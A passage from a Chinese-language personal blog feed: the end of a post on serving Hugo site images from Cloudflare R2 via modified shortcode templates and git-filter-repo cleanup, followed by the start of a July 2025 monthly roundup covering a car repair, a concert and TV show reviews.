<p>實務上來說，我最後 S3 沒有在 AWS 開。太複雜了，花了大把時間只搞定了大概 90%，剩下 10% 的問題難以解決，為了避免未來遇到 <a href="https://img.tomy.me/blog/use-s3-as-image-host-with-hugo-in-a-painful-way/only-god-knows.webp" target="_blank" rel="noreferrer">only god knows<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的場景發生，我決定換到一個相對簡單的 S3 —— Cloudflare R2。</p>
<p>同時所有的圖片都是在 <code>/blog</code> 之下，所以如果未來有別的專案需要圖床，也可以再開一個新的目錄，就可以共用這個圖床！！</p>
<h2 id="修改文章" class="relative group">修改文章 </h2><p>圖片全部轉移過去之後，接下來就要修改原始的文章。原本的如果我的文章裡需要用到圖片，我可以用以下幾種方式來指向本地的圖片：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">![alt](dodgers-win-giants.jpg &#34;Some figure caption&#34;)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">figure</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s">&#34;ajr-at-shoreline-amphitheater.jpg&#34;</span><span class="w"> </span><span class="nx">alt</span><span class="o">=</span><span class="s">&#34;alt&#34;</span><span class="w"> </span><span class="nx">caption</span><span class="o">=</span><span class="s">&#34;Some figure caption&#34;</span><span class="w"> </span><span class="err">&gt;</span><span class="cp">}}</span>
</span></span></code></pre></div><p>主要的重點是，這些圖片都是使用相對路徑來指向跟文章 Markdown 同目錄下的圖片。最直覺、暴力的方式就是我手動或自動把所有圖片連結全部改成 hard-coded 的連結，但我找到了一個更好的做法：當我在 Markdown 裡使用上面這兩個語法來插入圖片時，Hugo 底層的生成邏輯是去使用主題裡提供的 shortcode，也就是説我可以魔改這個 shortcode 來自動修改圖片的連結。比方說我使用的 Congo 主題 shortcode 有這麼一段：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">&lt;</span><span class="nt">figure</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">  <span class="cp">{{-</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$img</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">$lazy</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">$.Page.Site.Params.enableImageLazyLoading</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">default</span><span class="w"> </span><span class="k">true</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">$webp</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">$.Page.Site.Params.enableImageWebp</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">default</span><span class="w"> </span><span class="k">true</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">partial</span><span class="w"> </span><span class="s">&#34;picture.html&#34;</span><span class="w"> </span><span class="o">(</span><span class="nx">dict</span><span class="w"> </span><span class="s">&#34;img&#34;</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="s">&#34;alt&#34;</span><span class="w"> </span><span class="nx">$altText</span><span class="w"> </span><span class="s">&#34;class&#34;</span><span class="w"> </span><span class="nx">$class</span><span class="w"> </span><span class="s">&#34;x2&#34;</span><span class="w"> </span><span class="nx">$x2</span><span class="w"> </span><span class="s">&#34;lazy&#34;</span><span class="w"> </span><span class="nx">$lazy</span><span class="w"> </span><span class="s">&#34;webp&#34;</span><span class="w"> </span><span class="nx">$webp</span><span class="o">)</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="cp">{{-</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line hl"><span class="ln"> 7</span><span class="cl">    <span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">safeURL</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span> <span class="na">alt</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="nx">$altText</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="nx">$class</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$caption</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;</span><span class="nt">figcaption</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text-center&#34;</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">markdownify</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;/</span><span class="nt">figcaption</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="p">&lt;/</span><span class="nt">figure</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>簡單來說就是如果有找到本地圖片，就使用本地圖片，如果沒有，就把它當作外部圖片連結。所以我可以這麼改：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">&lt;</span><span class="nt">figure</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">  <span class="cp">{{</span><span class="w"> </span><span class="nx">$lazy</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">$.Page.Site.Params.enableImageLazyLoading</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">default</span><span class="w"> </span><span class="k">true</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="cp">{{-</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$img</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">$webp</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">$.Page.Site.Params.enableImageWebp</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">default</span><span class="w"> </span><span class="k">true</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">partial</span><span class="w"> </span><span class="s">&#34;picture.html&#34;</span><span class="w"> </span><span class="o">(</span><span class="nx">dict</span><span class="w"> </span><span class="s">&#34;img&#34;</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="s">&#34;alt&#34;</span><span class="w"> </span><span class="nx">$altText</span><span class="w"> </span><span class="s">&#34;class&#34;</span><span class="w"> </span><span class="nx">$class</span><span class="w"> </span><span class="s">&#34;x2&#34;</span><span class="w"> </span><span class="nx">$x2</span><span class="w"> </span><span class="s">&#34;lazy&#34;</span><span class="w"> </span><span class="nx">$lazy</span><span class="w"> </span><span class="s">&#34;webp&#34;</span><span class="w"> </span><span class="nx">$webp</span><span class="o">)</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="cp">{{-</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line hl"><span class="ln"> 7</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">$path</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">printf</span><span class="w"> </span><span class="s">&#34;%s/%s&#34;</span><span class="w"> </span><span class="na">$.Page.File.ContentBaseName</span><span class="w"> </span><span class="nx">$file</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line hl"><span class="ln"> 8</span><span class="cl">    <span class="cp">{{</span><span class="w"> </span><span class="nx">partial</span><span class="w"> </span><span class="s">&#34;tomy-picture.html&#34;</span><span class="w"> </span><span class="o">(</span><span class="nx">dict</span><span class="w"> </span><span class="s">&#34;path&#34;</span><span class="w"> </span><span class="nx">$path</span><span class="w"> </span><span class="s">&#34;alt&#34;</span><span class="w"> </span><span class="nx">$altText</span><span class="w"> </span><span class="s">&#34;class&#34;</span><span class="w"> </span><span class="nx">$class</span><span class="w"> </span><span class="s">&#34;lazy&#34;</span><span class="w"> </span><span class="nx">$lazy</span><span class="o">)</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$caption</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;</span><span class="nt">figcaption</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text-center&#34;</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">markdownify</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;/</span><span class="nt">figcaption</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="p">&lt;/</span><span class="nt">figure</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>在這裡拼出一個圖片的相對路徑，然後呼叫我自己的模板：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$path</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">  <span class="cp">{{</span><span class="w"> </span><span class="nx">$remoteSrc</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">printf</span><span class="w"> </span><span class="s">&#34;%s/%s&#34;</span><span class="w"> </span><span class="nx">site</span><span class="na">.Params.services.img</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">picture</span> <span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$class</span><span class="w"> </span><span class="cp">}}</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span> <span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">img</span>
</span></span><span class="line"><span class="cl">      <span class="na">src</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="nx">$remoteSrc</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$class</span><span class="w"> </span><span class="cp">}}</span><span class="na">class</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">      <span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$alt</span><span class="w"> </span><span class="cp">}}</span><span class="na">alt</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">      <span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">$lazy</span><span class="w"> </span><span class="cp">}}</span><span class="na">loading</span><span class="o">=</span><span class="s">&#34;lazy&#34;</span> <span class="na">decoding</span><span class="o">=</span><span class="s">&#34;async&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">picture</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></div><p>注意到我這裡並沒有 hard-code 我的圖床連結，而是把它放在 hugo 的 config 裡：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c"># config/_default/params.toml</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">services</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="nx">img</span> <span class="p">=</span> <span class="s2">&#34;https://img.tomy.me/blog&#34;</span>
</span></span></code></pre></div><p>這麼一來，不但不需要修改任何舊文章中的圖片連結，即使未來要再搬家，也只要修改 config 就好 👍🏻</p>
<p>當然中間還有很多細節就不贅述了，有興趣的可以去看看<a href="https://github.com/tomy0000000/blog/issues/37" target="_blank" rel="noreferrer">這個 GitHub issue<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 還有裡面提到相關的 commit。</p>
<h2 id="移除圖片" class="relative group">移除圖片 </h2><p>到這裡，所有圖片已經正式用上了外部的圖床。最後一步就是，把現有的圖片移除。我簡單 Google + 跟 ChatGPT 聊完的結論是，只能用 <code>git filter-repo</code> 來把圖片全部清掉，沒辦法保留原本的 commit。實務上來說是使用了另外一個工具叫 <a href="https://github.com/newren/git-filter-repo" target="_blank" rel="noreferrer"><code>git-filter-repo</code><svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，具體步驟我也寫成了<a href="https://docs.tomy.me/git/#wipe-files-from-the-history" target="_blank" rel="noreferrer">一份筆記<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，這裡就不再寫一次了。</p>
<h2 id="結果" class="relative group">結果 </h2><p>現在重新 <code>git clone</code> 下來的大小從原本的 1.3 GB 一口氣減少到了 3.5 MB。不止如此，原本每次發新的文章，整個網站重新生成要在 GitHub Action 上跑 8 分鐘，現在只要不到 1 分鐘就好了！</p>
<div class="chart">
  
  <canvas id="125739486"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("125739486");
      const chart = new Chart(ctx, {
        
type: 'bar',
data: {
  labels: ['34f18f0', '80c2d58', '13efd8c', '92c3565', '35c1995', '48ac371', 'b342a01', '0b44cdd', '89327c0', '1279c71', 'b3f115a', '51a0d2b', '2a8294e'],
  datasets: [{
    label: 'Github Action 部署時間 (秒)',
    data: [528, 525, 507, 527, 507, 539, 507, 512, 522, 504, 39, 38, 40],
  }]
}

      });
    });
  </script>
</div>

<figcaption class="text-center"> 真是太神奇了，傑克！</figcaption>
<hr>
<p>前前後後從研究到真的完全實現花了不少時間，但整個搬遷做完也是挺有成就感的，感覺又對 Hugo 更上手了一些！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>反正如果部落格半路出家了，這問題也就不用處理了 (?)&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🤖 開發</category><guid isPermaLink="false">use-s3-as-image-host-with-hugo-in-a-painful-way</guid><pubDate>Sun, 24 Aug 2025 20:29:53 -0700</pubDate></item><item><title>2025 年 7 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-july-dump/</link><description>壞了！全部都壞了！</description><content:encoded><![CDATA[<p>這個月不知道是犯太歲還是水逆，車子壞、公寓充電站壞、Email 伺服器壞，搞得我報報沒寫完還要一直去修東西 QQQQQQ</p>
<h2 id="修車" class="relative group">修車 </h2><p>某天晚上跟朋友開車去吃麻辣燙，出來的時候發現車子被隔壁車 A 到了。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-july-dump/tesla-fender-bender.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一輛特斯拉汽車的左側車頭有刮痕和凹陷"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">嗒噠！</figcaption>
</figure>
</p>
<p>幸運的是，對方有留下名片，沒有搞失蹤，人也還挺好溝通的，願意支付所有的維修費用，但維修過程遇到的種種問題真的是又讓我對美利堅大開眼界：）</p>
<p>第一步，是要先上 Tesla 的 App 預約維修。維修中心有兩種，一種是普通的 Service Center，還有另一種叫做 Collision Center，想說只是小擦傷，就約了最快兩週後的 Service Center。一週後，Service Center 看了傳過去的照片後說，這個得去 Collision Center，於是預約取消，又重新約了再兩週後的維修。</p>
<p>與此同時，還要跟對方討論保險要怎麼聯繫、出險。雖然以這個事件來說相對簡單，是對方全責，但處理起來還是有很多眉角。以我的角度來說，可以支付 $500 美元的押金，請保險公司去跟對方的保險公司處理所有的問題，只要負責把車開去修就好了，押金最後會由對方的保險公司交給我的保險公司，再退還回來，但基於 Reddit 上的普遍經歷要差不多 9 個月才會退回來，這還是建立在對方的保險公司很配合的情況，所以後來還是想說自己處理。對方的部分，他的保險公司說出險的話，未來的保費會每個月會增加 $1000 多美元，所以他決定摸摸鼻子自己出這筆維修費，讓我不禁開始思考保保險的意義究竟是什麼&hellip;🤔</p>
<p>維修費又是另一個奇葩故事：一開始我把照片傳到 App 上估價，回覆的結果是說應該會在 $2500 上下，接下來的故事就讓我直接還原當天的情況：</p>
<p>👨🏽‍🔧：首先，這個可能要 $6000<br/>
🙋🏻：(背脊發涼) 這跟 App 上的報價也差太多了吧？<br/>
👨🏽‍🔧：(聳了聳肩) 那個 AI 確實挺智障的。你要不要打個電話跟對方講一下，他說不定會想出險。哦掰了味，如果要改保險公司出險，要重新預約，最快要再兩星期。<br/>
🙋🏻：？？？？？？？？？？(打電話)<br/>
🙋🏻：他說不了，直接修吧。<br/>
👨🏽‍🔧：(推了一下太陽眼鏡) OK，第二個問題，維修代步車只有保險公司出險的時候才會提供，所以你得想一下維修的期間的交通<br/>
🙋🏻：&hellip;&hellip;啊大概會修多久？<br/>
👨🏽‍🔧：(嘴角歪了一下，看手錶) 通常大概是三個禮拜左右吧<br/>
👨🏽‍🔧：(嘆氣) 看在你的情況，我可以偷偷幫你插隊一下，但可能還是要兩星期<br/>
🙋🏻：大概也只能叫 Uber 了，修吧<br/>
👨🏽‍🔧：(邊巡視車子其他角落) 你剛在電話裡說這是你的第一輛車？<br/>
🙋🏻：(聳了聳肩) 大概快變最後一輛了：）<br/>
👨🏽‍🔧：(邊寫估價單) 沒事了，你可以去等你的 Uber 了</p>
<p>回想起在台北的時候，一個月的交通費也就是 NT$1,280 的通勤月票，汽車真的是誰愛開誰開：）</p>
<h2 id="ajr-somewhere-in-the-sky" class="relative group">AJR: Somewhere in the Sky </h2><p>某個星期六在整理新收集到的歌單的時候，找到一個還蠻喜歡的流行樂團—— Valley，意外發現他們明天剛好幫另外一個樂團—— AJR 做開場表演，通常加映的還有另一個也蠻常聽的 Quinn XCII，看了看票價也不貴，於是就無腦衝了。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
	
	
	  
	  
	  
	  
	  
	  
	    
	    
	  
	  <figure>
	    
	
	    
	      
	
	
	
	
	
	  
	  <picture  class="mx-auto my-0 rounded-md mx-1" >
	    <img
	      src="https://img.tomy.me/blog/2025-july-dump/ajr-at-shoreline-amphitheater.jpg"
	      class="mx-auto my-0 rounded-md mx-1"
	      alt="灣區圓形劇場的招牌，顯示著AJR樂團的演唱會資訊"
	      loading="lazy" decoding="async"
	    />
	  </picture>
	
	
	    
	  </figure>
	

	
	
	  
	  
	  
	  
	  
	  
	    
	    
	  
	  <figure>
	    
	
	    
	      
	
	
	
	
	
	  
	  <picture  class="mx-auto my-0 rounded-md mx-1" >
	    <img
	      src="https://img.tomy.me/blog/2025-july-dump/lying-on-lawn.jpg"
	      class="mx-auto my-0 rounded-md mx-1"
	      alt="觀眾們坐在草地上，面對著戶外表演舞台"
	      loading="lazy" decoding="async"
	    />
	  </picture>
	
	
	    
	  </figure>
	


</div>


<p>這個演唱會的地點是在 Shoreline Amphitheater，是一個戶外的場地，格局有點類似大安森林公園露天音樂台，只是規模大上不少。除了前幾排有座位區之外，後面還有一大片漫遊區草皮，這次就是帶著野餐墊和 Trader&rsquo;s Joe 的巧克力草莓爆米花在後面躺著看，算是蠻另類的體驗，推推！</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    <div class="grow m-1">
          <iframe width="315" height="560" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" class="m-auto rounded-md" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/gN7dibXWGlM?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" title="We brought a full Marching Band on stage - Part 1"></iframe>
        </div>

    <div class="grow m-1">
          <iframe width="315" height="560" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" class="m-auto rounded-md" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/84Bep8MqnRs?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" title="We brought a full Marching Band on stage - Part 2"></iframe>
        </div>


</div>
<figcaption class="text-center">結尾曲 Weak 是一整支樂隊一起上台遊行，挺壯觀的<br />不禁讓我回想起很久以前看宇宙人演唱會的《大智若魚》</figcaption>

<h2 id="誰是被害者第二季" class="relative group">《誰是被害者》：第二季 </h2><p>其實這部台劇去年就在 Netflix 上映了，但我過去兩年的生活基本上沒什麼餘裕追劇，所以自然是完全不知道後來有拍第二季。最近也是在看完魷魚遊戲之後才突然想到，不知道 Netflix 後來還有沒有繼續投資台劇，才意外發現第二季的存在。</p>
<p>坦白說，我一開始是有點難想像第一季結束之後，要怎麼再搞出另一系列的連環殺人案，但果然編劇在這方面是做了十足的準備，甚至把第三季的伏筆都埋好了。</p>
<p>既然是推理劇，劇透心得就不寫了，要說的話，我覺得劇情懸疑的氛圍感打造的挺強的，會有一直推進你想要趕快接下去看的動力，再加上強大的特效團隊，血肉模糊的噁心感完全是不輸給第一季。比較可惜的部分可能是，看完之後，會在反芻劇情的時候越想越不對勁，有蠻多的細節可能還是沒有處理好。從商業的角度而言，「台劇感」還是太強，是一部能靠刻畫親情來獲得台灣觀眾的認同感，卻也同時失去「出圈」機會的路線&hellip;&hellip;就不是好事也不是壞事吧。</p>
<p>總而言之還是挺推的，別配飯看就好。</p>
<h2 id="母胎單身戀愛大作戰" class="relative group">《母胎單身戀愛大作戰》 </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2025-july-dump/better-late-than-single-poster.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="韓國影集《母胎單身但我想戀愛》的海報，上面有多位演員的拼貼"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>一句話心得就是：我出現在這個節目裡面，但我很喜歡！</p>
<p>印象中唯一一次嘗試的戀綜，只記得是日劇，可能是《戀愛巴士》或是《雙層公寓》，究竟是哪一個也想不起來了，只記得看不到三集就覺得沒有娛樂感，再加上很難相信這群男男女女能在短暫的節目時間就能長久的在一起，價值觀沒有共鳴，最後看不下去棄追，之後聽到有更獵奇的戀綜 (什麼前幾集一個眼神交換就開始瘋狂幹砲&hellip;之類的)，更是把我遠遠推離這個領域，再也沒有嘗試過。</p>
<p>起源大概是播到第五、六集左右的時候，Threads 上開始很多人發相昊在沒有女生來約會之後毫不掩飾的大吃一頓海鮮拼盤的片段，就覺得哦這部應該沒有在 set 的，於是決定嘗試看看。整齣劇最吸引我的應該真的就是背景設定，同為<small>近似</small>母胎單身，很多橋段真的是切身之痛，處處扎心。但看到我不是唯一一個受難的似乎又覺得那好像也沒關係了 (?)</p>
<p>也因為看的時間算是抓的剛剛好，所以最後兩集上線的時候可以剛好跟上各種社群媒體上的貼文，有一些韓國的追星帳還會翻譯轉發製作組的採訪，或是參加者下戲之後陸續公開 Instagram 的動態，這才讓我發現，戀綜本身其實跟其他節目類型沒有什麼太大的區別，真正強化觀影體驗的部分其實是在下戲之後跟一群網友留言吃瓜討論，這種難得的社群參與感，好像也可以理解為什麼追星女可以這麼瘋 (?)</p>
<p>但這些好的體驗究竟是因為這部真的就是這麼特別，還是可以概括套用在大部分戀綜上，可能就有待下個月再試試別的戀綜才能知道了 😌</p>
<h2 id="-值得一提的酷東西" class="relative group">✨ 值得一提的酷東西 </h2><p>這個月看到的各種酷東西，隨便寫寫</p>
<ul>
<li>買了一副<a href="/zh-tw/posts/prescription-sunglasses-in-the-us/">新的太陽眼鏡</a>！</li>
